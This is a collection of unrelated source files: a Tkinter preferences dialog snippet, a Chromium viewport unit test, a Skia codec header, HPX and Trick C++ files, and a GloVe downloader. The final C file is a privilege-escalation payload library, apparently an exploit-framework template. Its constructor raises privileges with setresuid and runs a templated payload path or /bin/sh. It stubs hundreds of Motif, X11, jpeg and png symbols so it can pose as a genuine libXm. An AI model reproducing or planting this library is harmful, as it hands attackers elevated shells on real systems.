frame.grid(row=row,column=0,columnspan=2,sticky='news',padx=2,pady=2)
replotb = Button(frame, text="Replot",
command=lambda:self.plotCurrent(graphtype=self.graphtype,guiopts=True),
relief=GROOVE, bg='#99ccff')
replotb.pack(side=LEFT,fill=X,padx=2,pady=2)
b = Button(frame, text="Apply", command=self.applyOptions, relief=GROOVE, bg='#99ccff')
b.pack(side=LEFT,fill=X,padx=2,pady=2)
b = Button(frame, text="Save", command=self.saveCurrent, relief=GROOVE, bg='#99ccff')
b.pack(side=LEFT,fill=X,padx=2,pady=2)
c=Button(frame,text='Close', command=close_prefsdialog, relief=GROOVE, bg='#99ccff')
c.pack(side=LEFT,fill=X,padx=2,pady=2)
if self.currdata == None:
replotb.configure(state=DISABLED)
self.plotprefswin.focus_set()
self.plotprefswin.grab_set()
return
| 10,362 |
575 | <gh_stars>100-1000
// Copyright 2020 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
package org.chromium.components.paintpreview.player.frame;
import android.graphics.Rect;
import org.junit.Assert;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.chromium.base.test.BaseRobolectricTestRunner;
/**
* Tests for the {@link PlayerFrameViewport} class.
*/
@RunWith(BaseRobolectricTestRunner.class)
public class PlayerFrameViewportTest {
private static final float TOLERANCE = 0.001f;
/**
* Tests that viewport size is set/get correctly.
*/
@Test
public void testViewportSize() {
PlayerFrameViewport viewport = new PlayerFrameViewport();
viewport.setSize(100, 200);
Assert.assertEquals(100, viewport.getWidth());
Assert.assertEquals(200, viewport.getHeight());
Rect viewportRect = viewport.asRect();
Assert.assertEquals(0, viewportRect.left);
Assert.assertEquals(0, viewportRect.top);
Assert.assertEquals(100, viewportRect.width());
Assert.assertEquals(200, viewportRect.height());
}
/**
* Tests that viewport translation is set/get correctly.
*/
@Test
public void testViewportTranslation() {
PlayerFrameViewport viewport = new PlayerFrameViewport();
viewport.setSize(100, 200);
viewport.offset(50, 60);
Assert.assertEquals(50f, viewport.getTransX(), TOLERANCE);
Assert.assertEquals(60f, viewport.getTransY(), TOLERANCE);
Rect viewportRect = viewport.asRect();
Assert.assertEquals(50, viewportRect.left);
Assert.assertEquals(60, viewportRect.top);
Assert.assertEquals(100, viewportRect.width());
Assert.assertEquals(200, viewportRect.height());
viewport.offset(-200, -110);
Assert.assertEquals(-150f, viewport.getTransX(), TOLERANCE);
Assert.assertEquals(-50f, viewport.getTransY(), TOLERANCE);
viewportRect = viewport.asRect();
Assert.assertEquals(-150, viewportRect.left);
Assert.assertEquals(-50, viewportRect.top);
Assert.assertEquals(100, viewportRect.width());
Assert.assertEquals(200, viewportRect.height());
viewport.setTrans(123, 456);
Assert.assertEquals(123f, viewport.getTransX(), TOLERANCE);
Assert.assertEquals(456f, viewport.getTransY(), TOLERANCE);
viewportRect = viewport.asRect();
Assert.assertEquals(123, viewportRect.left);
Assert.assertEquals(456, viewportRect.top);
Assert.assertEquals(100, viewportRect.width());
Assert.assertEquals(200, viewportRect.height());
}
/**
* Tests that viewport scaling works correctly.
*/
@Test
public void testViewportScaling() {
PlayerFrameViewport viewport = new PlayerFrameViewport();
viewport.setSize(100, 200);
Assert.assertEquals(1f, viewport.getScale(), TOLERANCE);
// Resetting the scale to 0 is an "invalid state" used to indicate the scale needs to be
// updated.
viewport.setScale(0f);
Assert.assertEquals(0f, viewport.getScale(), TOLERANCE);
viewport.setScale(2f);
Assert.assertEquals(2f, viewport.getScale(), TOLERANCE);
viewport.scale(0.5f, 0, 0);
Assert.assertEquals(1f, viewport.getScale(), TOLERANCE);
viewport.scale(0.5f, 0, 0);
Assert.assertEquals(0.5f, viewport.getScale(), TOLERANCE);
viewport.scale(5f, 0, 0);
Assert.assertEquals(2.5f, viewport.getScale(), TOLERANCE);
// Try scaling about a pivot.
viewport.setTrans(100, 50);
viewport.scale(0.5f, -30, -40);
Assert.assertEquals(1.25f, viewport.getScale(), TOLERANCE);
Assert.assertEquals(65f, viewport.getTransX(), TOLERANCE);
Assert.assertEquals(45f, viewport.getTransY(), TOLERANCE);
}
}
| 1,651 |
5,964 | /*
* Copyright 2015 The Android Open Source Project
*
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
#ifndef SkCodecPriv_DEFINED
#define SkCodecPriv_DEFINED
#include "SkColorTable.h"
#include "SkImageInfo.h"
#include "SkSwizzler.h"
#include "SkTypes.h"
#include "SkUtils.h"
/*
*
* Helper routine for alpha result codes
*
*/
#define INIT_RESULT_ALPHA \
uint8_t zeroAlpha = 0; \
uint8_t maxAlpha = 0xFF;
#define UPDATE_RESULT_ALPHA(alpha) \
zeroAlpha |= (alpha); \
maxAlpha &= (alpha);
#define COMPUTE_RESULT_ALPHA \
SkSwizzler::GetResult(zeroAlpha, maxAlpha);
/*
*
* Copy the codec color table back to the client when kIndex8 color type is requested
*
*/
static inline void copy_color_table(const SkImageInfo& dstInfo, SkColorTable* colorTable,
SkPMColor* inputColorPtr, int* inputColorCount) {
if (kIndex_8_SkColorType == dstInfo.colorType()) {
SkASSERT(NULL != inputColorPtr);
SkASSERT(NULL != inputColorCount);
SkASSERT(NULL != colorTable);
sk_memcpy32(inputColorPtr, colorTable->readColors(), *inputColorCount);
}
}
/*
*
* Compute row bytes for an image using pixels per byte
*
*/
static inline size_t compute_row_bytes_ppb(int width, uint32_t pixelsPerByte) {
return (width + pixelsPerByte - 1) / pixelsPerByte;
}
/*
*
* Compute row bytes for an image using bytes per pixel
*
*/
static inline size_t compute_row_bytes_bpp(int width, uint32_t bytesPerPixel) {
return width * bytesPerPixel;
}
/*
*
* Compute row bytes for an image
*
*/
static inline size_t compute_row_bytes(int width, uint32_t bitsPerPixel) {
if (bitsPerPixel < 16) {
SkASSERT(0 == 8 % bitsPerPixel);
const uint32_t pixelsPerByte = 8 / bitsPerPixel;
return compute_row_bytes_ppb(width, pixelsPerByte);
} else {
SkASSERT(0 == bitsPerPixel % 8);
const uint32_t bytesPerPixel = bitsPerPixel / 8;
return compute_row_bytes_bpp(width, bytesPerPixel);
}
}
/*
*
* Get a byte from a buffer
* This method is unsafe, the caller is responsible for performing a check
*
*/
static inline uint8_t get_byte(uint8_t* buffer, uint32_t i) {
return buffer[i];
}
/*
*
* Get a short from a buffer
* This method is unsafe, the caller is responsible for performing a check
*
*/
static inline uint16_t get_short(uint8_t* buffer, uint32_t i) {
uint16_t result;
memcpy(&result, &(buffer[i]), 2);
#ifdef SK_CPU_BENDIAN
return SkEndianSwap16(result);
#else
return result;
#endif
}
/*
*
* Get an int from a buffer
* This method is unsafe, the caller is responsible for performing a check
*
*/
static inline uint32_t get_int(uint8_t* buffer, uint32_t i) {
uint32_t result;
memcpy(&result, &(buffer[i]), 4);
#ifdef SK_CPU_BENDIAN
return SkEndianSwap32(result);
#else
return result;
#endif
}
#ifdef SK_PRINT_CODEC_MESSAGES
#define SkCodecPrintf SkDebugf
#else
#define SkCodecPrintf(...)
#endif
#endif // SkCodecPriv_DEFINED
| 1,254 |
1,822 | <filename>src/runtime/set_parcel_write_handler.cpp<gh_stars>1000+
// Copyright (c) 2015 <NAME>
//
// SPDX-License-Identifier: BSL-1.0
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
#include <hpx/config.hpp>
#if defined(HPX_HAVE_NETWORKING)
#include <hpx/modules/errors.hpp>
#include <hpx/runtime/parcelset/parcelhandler.hpp>
#include <hpx/runtime/set_parcel_write_handler.hpp>
#include <hpx/runtime_distributed.hpp>
#include <hpx/runtime_distributed/runtime_fwd.hpp>
namespace hpx
{
parcel_write_handler_type set_parcel_write_handler(
parcel_write_handler_type const& f)
{
runtime_distributed* rt = get_runtime_distributed_ptr();
if (nullptr != rt)
return rt->get_parcel_handler().set_write_handler(f);
HPX_THROW_EXCEPTION(invalid_status,
"hpx::set_default_parcel_write_handler",
"the runtime system is not operational at this point");
}
}
#endif
| 435 |
576 | <gh_stars>100-1000
# -*- coding: utf-8 -*-
import os
from .Dataset import Dataset
class Glove(Dataset):
def __init__(self,corpus,dim,opt=None,**kwargs):
super(Glove,self).__init__(opt,**kwargs)
self.root = ".vector_cache"
# if not os.path.exists(self.root):
# os.makedirs(self.root)
embeding_urls = {
'42b': 'http://nlp.stanford.edu/data/glove.42B.300d.zip',
'840b': 'http://nlp.stanford.edu/data/glove.840B.300d.zip',
'twitter.27b': 'http://nlp.stanford.edu/data/glove.twitter.27B.zip',
'6b': 'http://nlp.stanford.edu/data/glove.6B.zip',
}
self.urls= [ embeding_urls[corpus.lower()] ]
print(self.urls)
self.name = corpus
def process(self):
root=self.download()
return root
def getFilename(self):
return self.process()
if __name__ =="__main__":
import opts
opt = opts.parse_opt()
import dataloader
glove=dataloader.getEmbedding(opt)
print(glove.getFilename())
| 616 |
647 | <reponame>iamthad/trick<filename>trick_source/codegen/Interface_Code_Gen/FindTrickICG.hh
#include <vector>
#include <string>
#include "clang/Frontend/CompilerInstance.h"
#include "clang/Lex/PPCallbacks.h"
#include "HeaderSearchDirs.hh"
/*
FindTrickICG searches preprocessor directives #if/#elif/#ifdef/#ifndef to see if they use TRICK_ICG
If they do reference TRICK_ICG we need to mark the stack of incude files that include the TRICK_ICG.
We also print a warning to the screen where the TRICK_ICG was found.
*/
class FindTrickICG : public clang::PPCallbacks {
public:
FindTrickICG(clang::CompilerInstance & in_ci , HeaderSearchDirs & in_hsd , bool in_print_msgs ) ;
// called when the file changes for a variety of reasons.
virtual void FileChanged(clang::SourceLocation Loc, FileChangeReason Reason,
clang::SrcMgr::CharacteristicKind FileType,
clang::FileID PrevFID = clang::FileID()) ;
#if (LIBCLANG_MAJOR < 10) // TODO delete when RHEL 7 no longer supported
virtual void FileSkipped(const clang::FileEntry &SkippedFile,
const clang::Token &FilenameTok,
clang::SrcMgr::CharacteristicKind FileType) ;
#else
// called when a header file is skipped because of a header guard optimization.
virtual void FileSkipped(const clang::FileEntryRef & SkippedFile,
const clang::Token & FilenameTok,
clang::SrcMgr::CharacteristicKind FileType) ;
#endif
// callbacks called when the preprocessor directives of types are processed.
#if (LIBCLANG_MAJOR > 3) || ((LIBCLANG_MAJOR == 3) && (LIBCLANG_MINOR >= 5))
virtual void If(clang::SourceLocation Loc, clang::SourceRange ConditionRange, clang::PPCallbacks::ConditionValueKind ConditionValue) ;
virtual void ElIf(clang::SourceLocation Loc, clang::SourceRange ConditionRange, clang::PPCallbacks::ConditionValueKind ConditionValue) ;
#else
virtual void If(clang::SourceLocation Loc, clang::SourceRange ConditionRange, bool ConditionValue) ;
virtual void ElIf(clang::SourceLocation Loc, clang::SourceRange ConditionRange, bool ConditionValue) ;
#endif
#if (LIBCLANG_MAJOR > 3) || ((LIBCLANG_MAJOR == 3) && (LIBCLANG_MINOR >= 7))
virtual void Ifdef(clang::SourceLocation Loc, const clang::Token &MacroNameTok, const clang::MacroDefinition &MD) ;
virtual void Ifndef(clang::SourceLocation Loc, const clang::Token &MacroNameTok, const clang::MacroDefinition &MD) ;
#else
virtual void Ifdef(clang::SourceLocation Loc, const clang::Token &MacroNameTok, const clang::MacroDirective *MD) ;
virtual void Ifndef(clang::SourceLocation Loc, const clang::Token &MacroNameTok, const clang::MacroDirective *MD) ;
#endif
// print a warning about using TRICK_ICG.
void print_header() ;
private:
// compiler instance to help locating file names
clang::CompilerInstance & ci ;
HeaderSearchDirs & hsd ;
// Are we printing warning messages?
bool print_msgs ;
// Have we printed the big warning about TRICK_ICG?
bool header_printed ;
// Using a vector as a stack to hold the stack of included headers we have entered.
std::vector<std::string> included_files ;
} ;
| 1,167 |
335 | {
"word": "Commanding",
"definitions": [
"(in military contexts) having a position of authority.",
"Indicating or expressing authority; imposing.",
"Possessing or giving superior strength.",
"(of a place or position) dominating from above; giving a wide view of an area."
],
"parts-of-speech": "Adjective"
} | 124 |
628 | <filename>Source/Common/EnvironmentLoader.cpp<gh_stars>100-1000
#include <string>
#include <string_view>
namespace FEX::EnvLoader {
using string = std::string;
using string_view = std::string_view;
void Load(char *const envp[])
{
}
}
| 88 |
26,932 | #define _GNU_SOURCE
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <stdio.h>
#include <dlfcn.h>
void __cxa_finalize (void *d) {
return;
}
void __attribute__((constructor)) init() {
setresuid(geteuid(), geteuid(), geteuid());
execl("#{payload_path}", (char *)NULL, (char *)NULL);
execl("/bin/sh", (char *)NULL, (char *)NULL);
}
int applicationShellClassRec = 0;
int applicationShellWidgetClass = 0;
int colorConvertArgs = 0;
int compositeWidgetClass = 0;
int constraintClassRec = 0;
int constraintWidgetClass = 0;
int coreWidgetClass = 0;
int dump_external = 0;
int dump_fontlist = 0;
int dump_fontlist_cache = 0;
int dump_internal = 0;
int FcPatternAddInteger = 0;
int FcPatternAddString = 0;
int FcPatternCreate = 0;
int FcPatternDestroy = 0;
int GetWidgetNavigPtrs = 0;
int InitializeScrollBars = 0;
int _ITM_deregisterTMCloneTable = 0;
int _ITM_registerTMCloneTable = 0;
int jpeg_calc_output_dimensions = 0;
int jpeg_CreateDecompress = 0;
int jpeg_destroy_decompress = 0;
int jpeg_finish_decompress = 0;
int jpeg_read_header = 0;
int jpeg_read_scanlines = 0;
int jpeg_start_decompress = 0;
int jpeg_std_error = 0;
int jpeg_stdio_src = 0;
int load_jpeg = 0;
int localeconv = 0;
int __longjmp_chk = 0;
int nl_langinfo = 0;
int NumLockMask = 0;
int objectClass = 0;
int objectClassRec = 0;
int overrideShellClassRec = 0;
int png_create_info_struct = 0;
int png_create_read_struct = 0;
int png_destroy_read_struct = 0;
int png_get_channels = 0;
int png_get_gAMA = 0;
int png_get_IHDR = 0;
int png_get_rowbytes = 0;
int png_get_valid = 0;
int png_init_io = 0;
int png_read_end = 0;
int png_read_image = 0;
int png_read_info = 0;
int png_read_update_info = 0;
int png_set_expand = 0;
int png_set_gamma = 0;
int png_set_gray_to_rgb = 0;
int png_set_longjmp_fn = 0;
int png_set_sig_bytes = 0;
int png_set_strip_16 = 0;
int png_sig_cmp = 0;
int rectObjClass = 0;
int rectObjClassRec = 0;
int ScrollLockMask = 0;
int SetMwmStuff = 0;
int T = 0;
int topLevelShellWidgetClass = 0;
int transientShellClassRec = 0;
int transientShellWidgetClass = 0;
int V = 0;
int vendorShellClassRec = 0;
int vendorShellWidgetClass = 0;
int W = 0;
int __wctomb_chk = 0;
int widgetClass = 0;
int widgetClassRec = 0;
int wmShellClassRec = 0;
int wmShellWidgetClass = 0;
int XAddExtension = 0;
int XAllocColor = 0;
int XAllocColorCells = 0;
int XAllowEvents = 0;
int XBell = 0;
int XChangeActivePointerGrab = 0;
int XChangeGC = 0;
int XChangeProperty = 0;
int XChangeWindowAttributes = 0;
int XCheckIfEvent = 0;
int XCheckMaskEvent = 0;
int XClearArea = 0;
int XClearWindow = 0;
int XCloseDisplay = 0;
int XCloseIM = 0;
int XConfigureWindow = 0;
int XConvertSelection = 0;
int XCopyArea = 0;
int XCopyPlane = 0;
int XCreateBitmapFromData = 0;
int XCreateFontCursor = 0;
int XCreateGC = 0;
int XCreateIC = 0;
int XCreateImage = 0;
int XCreatePixmap = 0;
int XCreatePixmapCursor = 0;
int XCreatePixmapFromBitmapData = 0;
int XCreateRegion = 0;
int XCreateWindow = 0;
int XDefaultColormap = 0;
int XDefaultDepth = 0;
int XDefaultScreen = 0;
int XDefaultVisual = 0;
int XDefineCursor = 0;
int XDeleteContext = 0;
int XDeleteProperty = 0;
int XDestroyIC = 0;
int XDestroyRegion = 0;
int XDestroyWindow = 0;
int XDisplayKeycodes = 0;
int XDisplayOfScreen = 0;
int XDisplayString = 0;
int XDrawArc = 0;
int XDrawImageString = 0;
int XDrawImageString16 = 0;
int XDrawLine = 0;
int XDrawLines = 0;
int XDrawPoint = 0;
int XDrawRectangle = 0;
int XDrawSegments = 0;
int XDrawString = 0;
int XDrawString16 = 0;
int _XEditResGet16 = 0;
int _XEditResGet32 = 0;
int _XEditResGet8 = 0;
int _XEditResGetSigned16 = 0;
int _XEditResGetString8 = 0;
int _XEditResGetWidgetInfo = 0;
int _XEditResPut16 = 0;
int _XEditResPut32 = 0;
int _XEditResPut8 = 0;
int _XEditResPutString8 = 0;
int _XEditResPutWidgetInfo = 0;
int _XEditResResetStream = 0;
int XEmptyRegion = 0;
int XEqualRegion = 0;
int XESetCloseDisplay = 0;
int XExtentsOfFontSet = 0;
int XFetchBuffer = 0;
int XFillArc = 0;
int XFillPolygon = 0;
int XFillRectangle = 0;
int XFillRectangles = 0;
int XFindContext = 0;
int XFlush = 0;
int XFontsOfFontSet = 0;
int XFree = 0;
int XFreeColors = 0;
int XFreeCursor = 0;
int XFreeFont = 0;
int XFreeFontNames = 0;
int XFreeGC = 0;
int XFreeModifiermap = 0;
int XFreePixmap = 0;
int XFreeStringList = 0;
int XftDrawCreate = 0;
int XftDrawCreateBitmap = 0;
int XftDrawDestroy = 0;
int XftDrawRect = 0;
int XftDrawSetClip = 0;
int XftDrawSetClipRectangles = 0;
int XftDrawString16 = 0;
int XftDrawString32 = 0;
int XftDrawStringUtf8 = 0;
int XftFontClose = 0;
int XftFontMatch = 0;
int XftFontOpenPattern = 0;
int XftTextExtents16 = 0;
int XftTextExtents32 = 0;
int XftTextExtents8 = 0;
int XftTextExtentsUtf8 = 0;
int XGetAtomName = 0;
int XGetFontProperty = 0;
int XGetGCValues = 0;
int XGetGeometry = 0;
int XGetICValues = 0;
int XGetImage = 0;
int XGetIMValues = 0;
int XGetInputFocus = 0;
int XGetKeyboardMapping = 0;
int XGetModifierMapping = 0;
int XGetOCValues = 0;
int XGetOMValues = 0;
int XGetSelectionOwner = 0;
int XGetWindowAttributes = 0;
int XGetWindowProperty = 0;
int XGetWMColormapWindows = 0;
int XGrabKeyboard = 0;
int XGrabPointer = 0;
int XGrabServer = 0;
int XHeightOfScreen = 0;
int xiColumnConstraintExtension = 0;
int XiCreateStippledPixmap = 0;
int _XiGetTabIndex = 0;
int XIMOfIC = 0;
int XInstallColormap = 0;
int XInternAtom = 0;
int XInternAtoms = 0;
int XIntersectRegion = 0;
int XiReleaseStippledPixmap = 0;
int _XiResolveAllPartOffsets = 0;
int XiResolveAllPartOffsets = 0;
int XKeysymToKeycode = 0;
int XKeysymToString = 0;
int XLastKnownRequestProcessed = 0;
int XListFonts = 0;
int XListInstalledColormaps = 0;
int XLoadQueryFont = 0;
int XLookupString = 0;
int Xm18IListUnselectAllItems = 0;
int Xm18IListUnselectItem = 0;
int _XmAccessColorData = 0;
int XmActivateProtocol = 0;
int _XmAddCallback = 0;
int _XmAddGrab = 0;
int _XmAddHashEntry = 0;
int XmAddProtocolCallback = 0;
int XmAddProtocols = 0;
int _Xm_AddQueue = 0;
int XmAddTabGroup = 0;
int _XmAddTearOffEventHandlers = 0;
int _XmAddToColorCache = 0;
int XmAddToPostFromList = 0;
int _XmAllocHashTable = 0;
int _XmAllocMotifAtom = 0;
int _XmAllocReceiverInfo = 0;
int _XmAllocScratchPixmap = 0;
int _XmAllowAcceleratedInsensitiveUnmanagedMenuItems = 0;
int XMapRaised = 0;
int XMapWindow = 0;
int _XmArrowB_defaultTranslations = 0;
int xmArrowButtonClassRec = 0;
int xmArrowButtonGadgetClass = 0;
int xmArrowButtonGadgetClassRec = 0;
int xmArrowButtonWidgetClass = 0;
int _XmArrowPixmapCacheCompare = 0;
int _XmArrowPixmapCacheDelete = 0;
int _XmAssignInsensitiveColor = 0;
int _XmAssignLabG_MarginBottom = 0;
int _XmAssignLabG_MarginHeight = 0;
int _XmAssignLabG_MarginLeft = 0;
int _XmAssignLabG_MarginRight = 0;
int _XmAssignLabG_MarginTop = 0;
int _XmAssignLabG_MarginWidth = 0;
int XMaxRequestSize = 0;
int _XmBackgroundColorDefault = 0;
int _XmBaseClassPartInitialize = 0;
int _XmBB_CreateButtonG = 0;
int _XmBB_CreateLabelG = 0;
int _XmBB_GetDialogTitle = 0;
int _XmBBUpdateDynDefaultButton = 0;
int XmbDrawImageString = 0;
int XmbDrawString = 0;
int _XmBlackPixel = 0;
int XmbLookupString = 0;
int _XmBottomShadowColorDefault = 0;
int XmbResetIC = 0;
int XmbTextEscapement = 0;
int XmbTextExtents = 0;
int XmbTextListToTextProperty = 0;
int XmbTextPropertyToTextList = 0;
int _XmBuildExtResources = 0;
int _XmBuildGadgetResources = 0;
int _XmBuildManagerResources = 0;
int _XmBuildPrimitiveResources = 0;
int _XmBuildResources = 0;
int _XmBulletinB_defaultTranslations = 0;
int _XmBulletinBoardCancel = 0;
int xmBulletinBoardClassRec = 0;
int _XmBulletinBoardFocusMoved = 0;
int _XmBulletinBoardMap = 0;
int _XmBulletinBoardReturn = 0;
int _XmBulletinBoardSetDefaultShadow = 0;
int _XmBulletinBoardSetDynDefaultButton = 0;
int _XmBulletinBoardSizeUpdate = 0;
int xmBulletinBoardWidgetClass = 0;
int xmButtonBoxClassRec = 0;
int xmButtonBoxWidgetClass = 0;
int _XmButtonPopdownChildren = 0;
int _XmButtonTakeFocus = 0;
int _XmByteOrderChar = 0;
int _XmCacheCopy = 0;
int _XmCacheDelete = 0;
int _XmCachePart = 0;
int _XmCachePixmap = 0;
int _XmCalcLabelDimensions = 0;
int _XmCalcLabelGDimensions = 0;
int _XmCallCallbackList = 0;
int _XmCallFocusMoved = 0;
int _XmCallRowColumnMapCallback = 0;
int _XmCallRowColumnUnmapCallback = 0;
int _XmCascadeB_menubar_events = 0;
int _XmCascadeB_p_events = 0;
int _XmCascadeBPrimClassExtRec = 0;
int xmCascadeButtonClassRec = 0;
int xmCascadeButtonGadgetClass = 0;
int xmCascadeButtonGadgetClassRec = 0;
int XmCascadeButtonGadgetHighlight = 0;
int xmCascadeButtonGCacheObjClassRec = 0;
int XmCascadeButtonHighlight = 0;
int xmCascadeButtonWidgetClass = 0;
int _XmCascadingPopup = 0;
int _XmCBHelp = 0;
int _XmCBNameActivate = 0;
int _XmCBNameValueChanged = 0;
int XmChangeColor = 0;
int _XmChangeHSB = 0;
int _XmChangeNavigationType = 0;
int _XmChangeVSB = 0;
int _XmCharsetCanonicalize = 0;
int _XmCleanPixmapCache = 0;
int _XmClearBCompatibility = 0;
int _XmClearBGCompatibility = 0;
int _XmClearBGPixmapName = 0;
int _XmClearBorder = 0;
int _XmClearDisplayTables = 0;
int _XmClearDragReceiverInfo = 0;
int _XmClearFocusPath = 0;
int _XmClearIconPixmapName = 0;
int _XmClearKbdFocus = 0;
int _XmClearRect = 0;
int _XmClearShadowType = 0;
int _XmClearTabGroup = 0;
int _XmClearTraversal = 0;
int XmClipboardBeginCopy = 0;
int XmClipboardCancelCopy = 0;
int XmClipboardCopy = 0;
int XmClipboardCopyByName = 0;
int XmClipboardEndCopy = 0;
int XmClipboardEndRetrieve = 0;
int XmClipboardInquireCount = 0;
int XmClipboardInquireFormat = 0;
int XmClipboardInquireLength = 0;
int XmClipboardInquirePendingItems = 0;
int XmClipboardLock = 0;
int _XmClipboardPassType = 0;
int XmClipboardRegisterFormat = 0;
int XmClipboardRetrieve = 0;
int XmClipboardStartCopy = 0;
int XmClipboardStartRetrieve = 0;
int XmClipboardUndoCopy = 0;
int XmClipboardUnlock = 0;
int XmClipboardWithdrawFormat = 0;
int xmClipWindowClassRec = 0;
int _XmClipWindowTranslationTable = 0;
int xmClipWindowWidgetClass = 0;
int _XmColorObjCache = 0;
int _XmColorObjCacheDisplay = 0;
int xmColorObjClass = 0;
int xmColorObjClassRec = 0;
int _XmColorObjCreate = 0;
int xmColorSelectorClassRec = 0;
int xmColorSelectorWidgetClass = 0;
int xmColumnClassRec = 0;
int xmColumnWidgetClass = 0;
int xmCombinationBox2ClassRec = 0;
int XmCombinationBox2GetArrow = 0;
int XmCombinationBox2GetChild = 0;
int XmCombinationBox2GetLabel = 0;
int XmCombinationBox2GetList = 0;
int XmCombinationBox2GetText = 0;
int XmCombinationBox2GetValue = 0;
int xmCombinationBox2WidgetClass = 0;
int XmCombinationBoxGetValue = 0;
int XmComboBoxAddItem = 0;
int xmComboBoxClassRec = 0;
int _XmComboBox_defaultAccelerators = 0;
int _XmComboBox_defaultTranslations = 0;
int XmComboBoxDeletePos = 0;
int _XmComboBox_dropDownComboBoxAccelerators = 0;
int _XmComboBox_dropDownListTranslations = 0;
int XmComboBoxSelectItem = 0;
int XmComboBoxSetItem = 0;
int _XmComboBox_textFocusTranslations = 0;
int XmComboBoxUpdate = 0;
int xmComboBoxWidgetClass = 0;
int XmCommandAppendValue = 0;
int xmCommandClassRec = 0;
int XmCommandError = 0;
int XmCommandGetChild = 0;
int _XmCommandReturn = 0;
int XmCommandSetValue = 0;
int _XmCommandUpOrDown = 0;
int xmCommandWidgetClass = 0;
int XmCompareISOLatin1 = 0;
int XmCompareXtWidgetGeometry = 0;
int XmCompareXtWidgetGeometryToWidget = 0;
int _XmComputeVisibilityRect = 0;
int _XmConfigureObject = 0;
int _XmConfigureWidget = 0;
int xmContainerClassRec = 0;
int XmContainerCopy = 0;
int XmContainerCopyLink = 0;
int XmContainerCut = 0;
int _XmContainer_defaultTranslations = 0;
int XmContainerGetItemChildren = 0;
int XmContainerPaste = 0;
int XmContainerPasteLink = 0;
int XmContainerRelayout = 0;
int XmContainerReorder = 0;
int _XmContainer_traversalTranslations = 0;
int xmContainerWidgetClass = 0;
int _XmConvertActionParamToRepTypeId = 0;
int _XmConvertComplete = 0;
int _XmConvertCSToString = 0;
int _XmConvertFactor = 0;
int _XmConvertFloatUnitsToIntUnits = 0;
int _XmConvertHandler = 0;
int _XmConvertHandlerSetLocal = 0;
int _XmConvertStringToUnits = 0;
int XmConvertStringToUnits = 0;
int _XmConvertToBW = 0;
int _XmConvertUnits = 0;
int XmConvertUnits = 0;
int _XmCopyCursorIconQuark = 0;
int XmCopyISOLatin1Lowered = 0;
int _XmCountVaList = 0;
int XmCreateArrowButton = 0;
int XmCreateArrowButtonGadget = 0;
int _XmCreateArrowPixmaps = 0;
int XmCreateBulletinBoard = 0;
int XmCreateBulletinBoardDialog = 0;
int XmCreateButtonBox = 0;
int XmCreateCascadeButton = 0;
int XmCreateCascadeButtonGadget = 0;
int XmCreateColorSelector = 0;
int XmCreateColumn = 0;
int XmCreateCombinationBox2 = 0;
int XmCreateComboBox = 0;
int XmCreateCommand = 0;
int XmCreateCommandDialog = 0;
int XmCreateContainer = 0;
int XmCreateDataField = 0;
int XmCreateDialogShell = 0;
int XmCreateDragIcon = 0;
int XmCreateDrawingArea = 0;
int XmCreateDrawnButton = 0;
int XmCreateDropDown = 0;
int XmCreateDropDownComboBox = 0;
int XmCreateDropDownList = 0;
int XmCreateErrorDialog = 0;
int XmCreateExt18List = 0;
int XmCreateExtended18List = 0;
int XmCreateFileSelectionBox = 0;
int XmCreateFileSelectionDialog = 0;
int _XmCreateFocusData = 0;
int XmCreateFontSelector = 0;
int XmCreateForm = 0;
int XmCreateFormDialog = 0;
int XmCreateFrame = 0;
int XmCreateGrabShell = 0;
int XmCreateIconBox = 0;
int XmCreateIconButton = 0;
int XmCreateIconGadget = 0;
int XmCreateIconHeader = 0;
int XmCreateInformationDialog = 0;
int XmCreateLabel = 0;
int XmCreateLabelGadget = 0;
int XmCreateList = 0;
int XmCreateMainWindow = 0;
int XmCreateMenuBar = 0;
int _XmCreateMenuCursor = 0;
int XmCreateMenuShell = 0;
int XmCreateMessageBox = 0;
int XmCreateMessageDialog = 0;
int XmCreateMultiList = 0;
int XmCreateNotebook = 0;
int XmCreateOptionMenu = 0;
int XmCreateOutline = 0;
int XmCreatePaned = 0;
int XmCreatePanedWindow = 0;
int XmCreatePopupMenu = 0;
int XmCreatePromptDialog = 0;
int XmCreatePulldownMenu = 0;
int XmCreatePushButton = 0;
int XmCreatePushButtonGadget = 0;
int XmCreateQuestionDialog = 0;
int XmCreateRadioBox = 0;
int _XmCreateRenderTable = 0;
int _XmCreateRendition = 0;
int XmCreateRowColumn = 0;
int XmCreateScale = 0;
int XmCreateScrollBar = 0;
int XmCreateScrolledList = 0;
int XmCreateScrolledText = 0;
int XmCreateScrolledWindow = 0;
int XmCreateSelectionBox = 0;
int XmCreateSelectionDialog = 0;
int XmCreateSeparator = 0;
int XmCreateSeparatorGadget = 0;
int XmCreateSimpleCheckBox = 0;
int XmCreateSimpleMenuBar = 0;
int XmCreateSimpleOptionMenu = 0;
int XmCreateSimplePopupMenu = 0;
int XmCreateSimplePulldownMenu = 0;
int XmCreateSimpleRadioBox = 0;
int XmCreateSimpleSpinBox = 0;
int XmCreateSpinBox = 0;
int _XmCreateTab = 0;
int XmCreateTabBox = 0;
int _XmCreateTabList = 0;
int XmCreateTabStack = 0;
int XmCreateTemplateDialog = 0;
int XmCreateText = 0;
int XmCreateTextField = 0;
int XmCreateToggleButton = 0;
int XmCreateToggleButtonGadget = 0;
int XmCreateTree = 0;
int _XmCreateVisibilityRect = 0;
int XmCreateWarningDialog = 0;
int XmCreateWorkArea = 0;
int XmCreateWorkingDialog = 0;
int XmCvtByteStreamToXmString = 0;
int XmCvtCTToXmString = 0;
int XmCvtFromHorizontalPixels = 0;
int XmCvtFromVerticalPixels = 0;
int XmCvtStringToUnitType = 0;
int XmCvtTextPropertyToXmStringTable = 0;
int XmCvtTextToXmString = 0;
int XmCvtToHorizontalPixels = 0;
int XmCvtToVerticalPixels = 0;
int XmCvtXmStringTableToTextProperty = 0;
int XmCvtXmStringToByteStream = 0;
int _XmCvtXmStringToCT = 0;
int XmCvtXmStringToCT = 0;
int XmCvtXmStringToText = 0;
int _XmCvtXmStringToUTF8String = 0;
int XmCvtXmStringToUTF8String = 0;
int _XmDataF_EventBindings1 = 0;
int _XmDataF_EventBindings2 = 0;
int _XmDataF_EventBindings3 = 0;
